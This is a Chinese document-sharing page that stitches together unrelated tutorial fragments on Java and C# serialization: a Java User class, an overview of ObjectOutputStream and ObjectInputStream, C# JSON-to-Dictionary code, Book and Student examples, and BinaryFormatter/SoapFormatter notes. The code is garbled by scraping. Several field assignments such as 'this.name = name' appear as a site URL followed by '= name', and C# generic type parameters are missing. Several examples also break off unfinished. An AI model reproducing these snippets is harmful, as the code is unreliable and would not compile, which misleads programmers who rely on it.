在Java中,只要一个类实现了java.io.Serializable接口,那么它就可以被序列化。这里先来一段代码: code 1 创建一个User类,用于序列化及反序列化 package com.hollis; import java.io.Serializable; import java.util.Date; /** * Created by hollis on 16/2/2. */ public class User implements Serializable{ private String name; private int age; private Date birthday; private transient String gender; private static final long serialVersionUID = -6849794470754667710L; public String getName() { return name; } public void setName(String name) { https://www.wendangku.net/doc/c53608684.html, = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; }

java对象的序列化和反序列化详细介绍解析

java 对象的序列化和反序列化详细介绍 这篇文章主要介绍了java 对象的序列化和反序列化的相关资料,需要的朋友可以参考下 最近周末,对java 的基础知识做了一个整理,其中java 序列化和反序列化的资料进行了详细整理,这里做个笔记,希望也能帮助到读到此文的朋友。 一、序列化和反序列化的概念 把对象转换为字节序列的过程称为对象的序列化。 把字节序列恢复为对象的过程称为对象的反序列化。 对象的序列化主要有两种用途: 1)把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中; 2)在网络上传送对象的字节序列。 在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便长期保存。比如最常见的是Web服务器中的Session对象,当有10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。 当两个进程在进行远程通信时,彼此可以发送各种类型的数据。无论是何种类型的数据,都会以二进制序列的形式在网络上传送。发送方需要把这个Java对象转换为字节序列,才能在网络上传送;接收方则需要把字节序列再恢复为Java对象。 二、JDK类库中的序列化API java.io.ObjectOutputStream代表对象输出流,它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。 java.io.ObjectInputStream代表对象输入流,它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。 只有实现了Serializable和Externalizable接口的类的对象才能被序列化。Externalizable 接口继承自Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以采用默认的序列化方式。 对象序列化包括如下步骤: 1)创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;

C#:Json数据反序列化为Dictionary并根据关键字获取指定的值=

Json数据: { "dataSet": { "header": { "returnCode": "0", "errorInfo": "HTTP请求错误", "version": "V1.0R010", "totalRows": "2000", "returnRows": "20" }, "fieldDefine": { "assetId": "string", "serverIdcId": "int", "inputTime": "datetime" }, "data": { "row": [ { "AssetId": "TCNS2006888", "ServerIdcId": "1", "InputTime": "2008-12-12" }, { "AssetId": "TCNS2006889", "ServerIdcId": "2", "InputTime": "2008-1-1" } ] } } } 问题:如何获取header中的数据行,以便显示在界面上? 效果图:

将json数据转成dictionary的代码: ///

///将json数据反序列化为Dictionary /// ///json数据 /// private Dictionary JsonToDictionary(string jsonData) { //实例化JavaScriptSerializer类的新实例 JavaScriptSerializer jss = new JavaScriptSerializer(); try { //将指定的JSON 字符串转换为Dictionary 类型的对象 return jss.Deserialize>(jsonData); } catch(Exception ex) { throw new Exception(ex.Message); } }

详解java序列化

我们可以通过序列化来保存一个对象的状态(实例变量)到文件中,也可以从这个格式化的文件中很容易地读取对象的状态从而可以恢复我们保存的对象。 用来实现序列化的类都在java.io包中,我们常用的类或接口有:ObjectOutputStream:提供序列化对象并把其写入流的方法 ObjectInputStream:读取流并反序列化对象 Serializable:一个对象想要被序列化,那么它的类就要实现此接口 下面我们先通过一个简单的例子演示一起序列化/反序列化的过程 Book.java package kevin.seria; import java.io.Serializable; public class Book implements Serializable{ private int isbn; public Book(int isbn) { super(); this.isbn = isbn; } public int getIsbn() { return isbn; } public void setIsbn(int isbn) { this.isbn = isbn; } @Override public String toString() { return"Book [isbn=" + isbn + "]"; } }

package kevin.seria; import java.io.Serializable; public class Student implements Serializable { private Book book; private String name; public Student(Book book, String name) { super(); this.book = book; https://www.wendangku.net/doc/c53608684.html, = name; } public Book getBook() { return book; } public void setBook(Book book) { this.book = book; } public String getName() { return name; } public void setName(String name) { https://www.wendangku.net/doc/c53608684.html, = name; } @Override public String toString() { return"Student [book=" + book + ", name=" + name + "]"; } }

JSON序列化与反序列化

方法一:引入System.Web.Script.Serialization命名空间使用JavaScriptSerializer类实现简单的序列化 序列化类:Personnel public class Personnel { public int Id { get; set; } public string Name { get; set; } } 执行序列化反序列化: 代码 protected void Page_Load(object sender, EventArgs e) { Personnel personnel = new Personnel(); personnel.Id = 1; https://www.wendangku.net/doc/c53608684.html, = "小白"; JavaScriptSerializer jsonSerializer = new JavaScriptSerializer(); //执行序列化 string r1 = jsonSerializer.Serialize(personnel); //执行反序列化 Personnel _Personnel = jsonSerializer.Deserialize(r1); } r1输出结果:{"Id":1,"Name":"小白"} 可以使用ScriptIgnore属性标记不序列化公共属性或公共字段。 public class Personnel { [ScriptIgnore] public int Id { get; set; } public string Name { get; set; } } r1输出结果:{"Name":"小白"} 方法二:引入System.Runtime.Serialization.Json命名空间使用DataContractJsonSerializer类实现序列化 序列化类:People public class People { public int Id { get; set; } public string Name { get; set; } } 执行序列化反序列化 代码

C#序列化详解

.net的运行时环境用来支持用户定义类型的流化的机制。它是将对象实例的状态存储到存储媒体的过程。在此过程中,先将对象的公共字段和私有字段以及类的名称(包括类所在的程序集)转换为字节流,然后再把字节流写入数据流。在随后对对象进行反序列化时,将创建出与原对象完全相同的副本。 序列化的目的: 1、以某种存储形式使自定义对象持久化; 2、将对象从一个地方传递到另一个地方。 实质上序列化机制是将类的值转化为一个一般的(即连续的)字节流,然后就可以将该流写到磁盘文件或任何其他流化目标上。而要想实际的写出这个流,就要使用那些实现了IFormatter接口的类里的Serialize和Deserialize方法。 在.net框架里提供了这样两个类: 一、BinaryFormatter BinaryFormatter使用二进制格式化程序进行序列化。您只需创建一个要使用的流和格式化程序的实例,然后调用格式化程序的Serialize方法。流和要序列化的对象实例作为参数提供给此调用。类中的所有成员变量(甚至标记为private的变量)都将被序列化。 NonSerializable属性用来明确表示类不能被序列化。

二SoapFormatter 前面我们用BinaryFormatter以二进制格式来序列化。很容易的我们就能把前面的例子改为用SoapFormatter的,这样将以xml格式化,因此能有更好的可移植性。所要做的更改只是将以上代码中的格式化程序换成SoapFormatter,而Serialize和Deserialize调用不变。对于上面使用的示例,该格式化程序将生成以下结果。

相关文档
相关文档 最新文档